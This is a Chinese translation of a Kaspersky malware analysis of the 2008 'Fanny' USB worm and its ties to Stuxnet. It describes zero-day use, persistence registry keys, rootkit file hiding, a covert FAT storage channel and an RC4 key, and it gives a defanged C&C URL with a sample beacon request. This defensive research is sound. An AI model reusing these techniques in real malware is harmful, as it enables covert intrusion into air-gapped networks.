原文链接
A Fanny Equation: "I am your father, Stuxnet" | Securelist
在2010年的Virus Bulletin会议上,卡巴斯基实验室的研究人员与微软合作,分享了关于Stuxnet的研究结果。这次联合演讲包括了Stuxnet各个部分,比如攻击中使用的零日漏洞。
Stuxnet中最有趣的零日漏洞是LNK漏洞(CVE-2010-2568)。这使得Stuxnet能够通过USB驱动器传播,并感染那些已禁用Autorun的机器。
在2010年对Stuxnet的研究中发现,LNK漏洞早先曾被用于另一种恶意软件,据称是一个名为“fanny.bmp”的被误以为是Zlob家族的PE样本。
回到2010年,很少有人对Stuxnet之前使用LNK漏洞的恶意软件给予太多关注。Zlob是一个庞大的恶意软件家族,这类犯罪级样本很少引起研究人员对零日漏洞和国家背景网络攻击的兴趣。
然而,在我们2014年对方程式组织的研究中,我们针对该组织的使用的“PrivLib”库进行检测的过程中,意外的发现了一个来自2008年的使用Stuxnet LNK漏洞进行复制的蠕虫,代号为Fanny。
备注:Zlob是一种严重的间谍软件木马,感染你的个人电脑中的Windows操作系统。Zlob间谍软件木马能够通过安装到系统进程中来控制你的整个个人电脑和操作系统组件。一些Zlob进入你的个人电脑的迹象包括出现其他恶意软件,如弹窗和浏览器劫持程序,你的电脑上的数据发生了变化,以及从你的电脑中删除了数据。Zlob还可以窃取你的信息,从互联网下载其他恶意文件,并在你不知情的情况下将不需要的文件安装到你的个人电脑的注册表中。
Fanny是什么
这个使用Stuxnet LNK漏洞和文件名“fanny.bmp”传播的PrivLib增强蠕虫,据编译时间戳显示,编译于2008年7月28日星期一11:11:35。它在我们2008年12月的野外样本中出现,所以编译时间很可能是正确的。
2008年的“Fanny.bmp”蠕虫被卡巴斯基实验室的产品检测为Trojan-Downloader.Win32.Agent.bjqt。该恶意软件包含LNK漏洞利用代码,意味着它是在Stuxnet之前使用Stuxnet LNK漏洞的恶意软件!
Stuxnet第二个漏洞 (MS09-025)
如果在Stuxnet之前使用了一个Stuxnet漏洞的恶意软件,那么第二个Stuxnet漏洞利用程序会使情况更加有趣。
第二个漏洞在Fanny运行时曾经是一个零日漏洞。这意味着Fanny使用了两个零日漏洞进行传播,而这两个漏洞后来都被Stuxnet利用。用于提升权限的漏洞(MS09-025)已经被微软修补:“安全更新通过纠正用于验证特定内核对象的更改方法、验证从用户模式传递到内核的输入以及验证传递给系统调用的参数的方法来解决这些漏洞。安全更新还通过确保Windows内核在错误条件下清理指针来解决一种漏洞。”
同样的漏洞后来被用于2009年早期的Stuxnet模块中,该模块嵌入了使用Flame平台构建的一个大型二进制文件。这个Stuxnet模块,也被称为“atmpsvcn.ocx”或编号207的资源,是Stuxnet和Flame之间的技术联系。这个故事之前在我们的帖子中已经有过介绍(https://securelist.com/back-to-stuxnet-the-missing-link/33174/)。
尽管Stuxnet/Flame模块和Fanny利用的漏洞是相同的,但利用方式不同。Stuxnet的利用方式针对特定的操作系统版本,而Fanny则设计成通用的,可以在多个平台上运行。它具有独特的shellcode和触发利用的程序,适用于以下操作系统版本:
- Windows NT 4.0
- Windows 2000
- Windows XP
- Windows 2003
- Windows Vista、2008,以及可能还有其他NT6.x系列的版本。
Fanny中的漏洞利用实现比Stuxnet更复杂:作者们创建了一个框架,通过将系统服务调用nt!NtShutdownSystem替换为自己的自定义指针,可以从用户空间运行任意大小的有效载荷,如下图所示。
这使得用户模式到内核模式之间存在一个持久的跳板。这个特性在Stuxnet模块中不存在,但有其他相似之处。例如,看起来Stuxnet和Fanny的开发者都遵循某些编码准则,比如每个函数调用使用唯一的魔术数字。大部分返回的结果只是被丢弃,但它们仍然是代码的一部分。这可能是代码的调试版本的残留,可能会记录代码中的每一步以便在测试时更容易追踪错误。在内核和用户空间代码没有交互的复杂系统中,这似乎是一种合乎逻辑甚至是必要的方法。同样,它在Stuxnet代码和Fanny代码中都有实现。请参见下图。
Fanny恶意代码
那么,Fanny究竟是什么?它是一种USB蠕虫,具有复杂的后门功能,利用所谓的“Stuxnet LNK漏洞”即使禁用了自动运行,也可以从USB驱动器自动执行。它可以使用内核漏洞提升到本地system权限,并且会释放和注册额外的模块。它尝试连接到C&C服务器,并在网络连接可用时部署额外的组件。如果连接不可用,它会利用USB驱动器作为载体,通过在原始FAT结构中创建的隐藏存储区域来发送/接收操作者的指令。
通常情况下,受害者插入新的USB驱动器并使用Windows资源管理器打开它。你可以通过目视观察USB上的两个感染阶段,这两个阶段只需要几秒钟执行完毕。
Fanny模块
MD5 | 0a209ac0de4ac033f31d6ba9191a8f7a |
Size | 184320 |
Type | Win32 DLL |
Internal name | dll_installer.dll |
Compiled | 2008.07.28 08:11:35 (GMT) |
这个文件是一个具有两个导出函数的DLL(用于安装和卸载恶意软件)。它的资源节BINARY编号为101的部分保存着配置信息,使用异或加密。配置确定了恶意软件的行为:有一个命令用于在当前系统上部署恶意软件,还有用于安装嵌入式恶意软件组件的C&C服务器的URL和本地文件名和路径。
Fanny各组件
在启动时,它会检查以下互斥体:
- Global\RPCMutex
- Global\RPCMutex[x]
其中x是从配置中获取的1字节长整数。如果存在任何这些互斥体,则代码不会运行。这意味着另一个相同代码的实例正在运行。这个数字很可能标识了Fanny的一个变种或版本,以防止相同版本重新感染系统,但允许不同版本运行(可能是用于强制更新组件)。
该模块还会检查其配置中的另一个重要字节。该字节是一个计数器(记作spread times),在成功感染系统时递减。当计数器达到最小值1时,该模块会清理USB驱动器并停止传播蠕虫。通过这种方式,攻击者限制了蠕虫的最大传播次数。
如果该模块的名称是“fanny.bmp”(Fanny通过USB驱动器传播时使用的文件名),该模块会自动从USB驱动器中安装。
Fanny在初始感染过程中尝试提升当前权限,如果用户在当前系统上没有管理员权限。它利用MS09-025漏洞来实现这一目的。只有在提升成功后,恶意软件才会尝试使用存储在配置文件中的URL连接到C&C服务器。
http://webuysupplystore[.]mooo[.]com/ads/QueryRecord200586_f2ahx.html
以下是恶意软件发出的示例请求:
GET /ads/QueryRecord200586_f2ahx.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible;)
Host: webuysupplystore.mooo.com
恶意软件期望C&C服务器回复一个HTTP 200响应,并附加一个使用0x7f异或的字符串,该字符串包含第二阶段的URL。第二阶段的响应可能包含一个可执行文件,该文件被保存在磁盘上并执行。
目前,C&C服务器被卡巴斯基实验室控制,但根据我们的pDNS记录,它之前指向以下IP地址:210.81.22.239
下面介绍Fanny各个阶段和各组件的功能。
感染阶段
该模块从D盘开始搜索根目录中的fanny.bmp,并将其复制到以下位置:
- %WINDIR%\system32\comhost.dll
- %WINDIR%\system32\mscorwin.dll
为什么Fanny会制作两个副本?实际上,这两个文件之间有一个细微的差别。Fanny修改了其中一个文件(comhost.dll)的资源部分的配置信息,修改了spread times。“mscorwin.dll”是从可移动驱动器上完全复制的原始文件。一个副本用于感染其他USB驱动器,另一个则在系统启动时加载。
它还将USB驱动器上的所有*.lnk文件复制到“%WINDIR%\system32\”目录下,以便在感染其他连接的USB驱动器时重用它们。请注意,可能会有多个LNK文件,因为每个LNK文件都包含一个不同的DLL路径,该DLL将被加载。由于目标系统上新驱动器的字母是未知的,Fanny使用了几个常见驱动器字母的LNK文件。这种方法在Stuxnet中得到了改进,它使用了一个相对于DeviceID的路径来访问USB驱动器。然而,即使是这种方法也需要几个LNK文件(最多四个),因为不同版本的Windows上的相对路径不同,但这远远少于拉丁字母表中几乎完整的字母集合。
持久化
Fanny 添加下面的注册表项来实现持久化:HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\Driver.
这不是一种常见的让代码在系统启动时自动运行的方式,它确保模块加载到系统中的每个进程的地址空间中,包括一些以SYSTEM用户身份运行的关键进程,如lsass.exe和services.exe。
当模块被加载时,它会检查在同一注册表键中以“filter”开头的其他值。
- HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter2
- HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter3
- HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter8
该值包含一个进程名称和指向DLL或EXE文件的路径。如果当前进程名称包含设置的进程名,则该模块根据目标文件扩展名加载DLL或启动一个新进程(对于EXE文件)。
这是Fanny启动的模块.
Process | Fanny module | Short Description |
winlogon | c:\windows\MSAgent\AGENTCPD.DLL | USB backdoor |
explorer | c:\windows\system32\shelldoc.dll | Windows Explorer rootkit |
lsass | c:\windows\system32\mscorwin.dll | USB worm |
USB 蠕虫(comhost.dll)
实际蠕虫的代码位于%WINDIR%\system32\comhost.dll的序号为4的导出函数(导出名称为"dll_installer_4")。该DLL的spread times被修改,会同Windows\System32目录下LNK文件一起被复制到USB驱动器上。这个模块是由mscorwin.dll分发的(mscorwin.dll会被lsass.exe加载)。
资源管理器 Rootkit(shelldoc.dll)
Rootkit功能shelldoc.dll实现的,它被加载进Windows Explorer进程中。它从使用SysListView32控件的窗口的项目列表中移除与Fanny相关的文件(LNK文件和fanny.bmp),实现文件隐藏。
之前演示了一些文件消失的截图,但有时这种方法可能引起怀疑。下面是用户在资源管理器中打开system32目录时的情况。
Fanny相关的文件在资源管理器中被隐藏
显然,看起来好像有一些文件图标被截断了。此外,由于根工具包代码中的一个错误,一些标准目录似乎丢失了。看起来,这个组件似乎没有经过作者的充分测试。
伪装
USB后门DLL代码中有一部分很有趣,乍一看并没有太多意义。它使用一些硬编码的常量生成一个随机值,并将其保存到注册表键中。
然后它加载DLL的当前可执行文件移动到c:\windows\system32\msdtc32.exe。之后,可执行文件路径被追加到HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell注册表值中,使得该可执行文件在系统启动时运行。
这可能看起来像是恶意软件添加自启动的传统方式,但不要被它所迷惑。这种做法的目的是让某些自动化系统和软件,如基于沙箱和模拟器的系统,相信它们已经捕获到一些已知的恶意软件,并阻止其进一步运行。这个组件似乎非常独特,以至于作者决定避免更加可疑的风险。这可能看起来有些矛盾,但作者更希望这段代码在被检查时被识别为恶意软件。这个技巧是模仿一些传统的网络犯罪恶意软件和僵尸网络,并尽快被检测到,从而不会暴露任何进一步的秘密活动。考虑到这个组件通过USB驱动器传播,并可能出现在许多系统上,将其定性为传统的低风险的僵尸网络,结果可能导致恶意软件被删除而没有进行正确的分析。
这可能解释了为什么这段代码在过去被检测为Zlob恶意软件的变种,而没有引起足够的注意。
USB Backdoor(AGENTCPD.DLL)
Agentcpd.dll是一个后门,旨在作为一种针对物理隔离计算机的高级侦察工具。该后门等待插入USB驱动器,如果是新的磁盘,则立即使用自己的FAT16/FAT32文件系统驱动程序为隐藏容器分配一些空间。
这是在将USB驱动器插入受感染机器之前和之后FAT根目录的样子:
在这个十六进制转储中,可以找到驱动器标签“MYDRIVE”(相应的十六进制字节用绿色下划线标出)。它后面是一个单字节的标志值(十六进制为0x08),根据微软的说法,这表示ATTR_VOLUME_ID。根目录表中的每个条目长度为32字节。
子目录条目(如Pictures、Music、Documents和Work)占用63字节,因为有长文件名FAT功能。子目录名称有两种变体-短和长。子目录条目在短目录名后面使用一个标志0x10,根据微软的说法,这表示ATTR_DIRECTORY。
Fanny插入的最后一条记录(以红色突出显示)使用了一个无效的目录名和标志0x18,该标志结合了ATTR_VOLUME_ID和ATTR_DIRECTORY。根据当前的FAT规范,这种标志组合没有记录,因此文件系统驱动程序会将整个条目视为数据损坏或坏块而忽略。因此,这个条目在Windows、Mac OS和Linux以及可能所有其他的FAT驱动程序实现中都不可见。
尽管Fanny不严格保护隐藏存储中的数据(它不将分配的空间标记为坏块,可能是为了避免引起注意),但它会更改文件系统驱动程序的提示值,指示下一个空闲簇的位置。通过这种方式,它保留了大约1Mb大小的磁盘空间用于隐藏存储。
当Fanny检测到一个新的USB驱动器时,借助自己的FAT驱动程序,它会查找根目录并定位以魔术值51 50 40 98(见上文)开头的条目。然后,它使用紧随标志值0x18之后的偏移量。在上图中,它设置为0x001e9c00。在同一USB磁盘上,该偏移量将有另一个魔术值D0 CF CE CD,用作隐藏存储的起始标记。
一旦Fanny为隐藏存储分配了空间,它会将存储填充上关于当前系统的基本信息,例如操作系统版本、service pack号、计算机名称、用户名、公司名称、正在运行的进程列表等。
这个秘密存储也用于向未连接到互联网的计算机传递命令。根据Fanny代码,容器可以携带额外的组件和内部命令:例如将某个文件从本地文件系统复制到USB驱动器(位置由参数定义,文件设置为隐藏和系统文件属性),或者更新配置块。它使用以下硬编码密钥的RC4算法来保护关键信息:
18 05 39 44 AB 19 78 88 C4 13 33 27 D5 10 6C 25
当USB驱动器连接到另一台已感染且连接到互联网的计算机时,它可以用来携带重要文件并提供与操作者交互的方式。这种简单而极其缓慢的通信方法不被传统网络犯罪分子使用,这就是为什么整个代码看起来像是专业网络间谍工具包的原因。这个组件是一种名为USB后门的新型恶意软件的罕见样本之一。
如果您在某些系统中发现这段或类似的USB后门代码,这表明您遭受了一次专业的网络攻击。
Sinkhole 和 受害者统计
我们sink hole了Fanny C&C服务器并收集了以下受害者统计数据。在五个月的时间里,我们观察到超过11,200个不同的IP地址连接到了sinkholing服务器。
目前,绝大多数受害者位于巴基斯坦(高达59.36%)。印度尼西亚和越南分别以15.99%和14.17%的比例紧随其后。其他国家的感染人数可能太少,不足以具有相关性。
当然,这可能引发一个问题:Fanny的真正目标是巴基斯坦吗?老实说,我们不知道。当前的感染情况可能与2008-2010年有所不同。考虑到全球仍有一万多名受害者,2009年的数字可能要高得多,甚至可能高达5万个感染。巴基斯坦是方程式组织的其他恶意软件的首要目标之一,与俄罗斯和伊朗一起。
总结
通过Fanny,我们在Stuxnet、方程式组织和Flame的故事中又开启了一个新的篇章。Fanny于2008年创建,使用了两个零日漏洞。这两个漏洞分别于2009年6月和2010年3月被添加到了Stuxnet中。实际上,这意味着方程式组在Stuxnet组之前数年就已经掌握了这些零日漏洞(以及其他漏洞)。
尽管Fanny的真正目标尚不清楚,但它能够映射空隔离网络并通过USB存储设备进行通信的独特能力表明,为了能够访问这些空隔离网络,付出了很多努力。作为Stuxnet的后续版本,可以通过网络进行自我复制,有可能Fanny被用来映射Stuxnet未来的一些目标。
另一个不寻常的事实是来自巴基斯坦的感染数量非常高。由于Fanny只通过USB存储设备传播,这种传播速度相对较慢,这表明感染可能始于巴基斯坦,可能早于其他许多国家。
Fanny是否被用于在巴基斯坦绘制一些高度敏感的网络,目的不明,或者是为了Stuxnet做准备?也许时间会告诉我们。